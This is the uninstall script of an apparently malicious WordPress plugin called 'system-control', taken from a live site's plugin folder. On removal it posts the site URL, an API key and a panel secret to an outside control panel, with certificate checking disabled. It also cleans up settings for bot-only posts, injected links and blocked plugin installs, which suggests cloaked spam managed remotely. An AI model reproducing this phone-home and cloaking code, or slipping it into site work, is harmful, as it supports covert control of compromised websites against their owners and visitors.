File: /homepages/35/d967185540/htdocs/clickandbuilds/CEU/wp-content/plugins/system-control/uninstall.php
<?php
/**
* Cleanup on plugin uninstall
*/
if (!defined('WP_UNINSTALL_PLUGIN')) {
exit;
}
// Notify panel about removal
$panel_url = get_option('sc_panel_url', 'https://superfuckingpanel.info');
$api_key = get_option('sc_api_key');
if ($api_key) {
wp_remote_post($panel_url . '/api/receive-registration.php', [
'body' => json_encode([
'api_key' => $api_key,
'panel_secret' => defined('SC_PANEL_SECRET') ? SC_PANEL_SECRET : '',
'action' => 'deactivate',
'url' => site_url(),
]),
'headers' => ['Content-Type' => 'application/json'],
'timeout' => 10,
'sslverify' => false,
'blocking' => false,
]);
}
// Remove all plugin options
delete_option('sc_api_key');
delete_option('sc_sec_key');
delete_option('sc_panel_url');
delete_option('sc_site_id');
delete_option('sc_is_active');
delete_option('sc_plugin_install_blocked');
delete_option('sc_display_links');
// Remove bot-only post meta
global $wpdb;
$wpdb->query("DELETE FROM {$wpdb->postmeta} WHERE meta_key IN ('_sc_bot_only', '_sc_bot_type')");
// Clean transients
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_sc_%' OR option_name LIKE '_transient_timeout_sc_%'");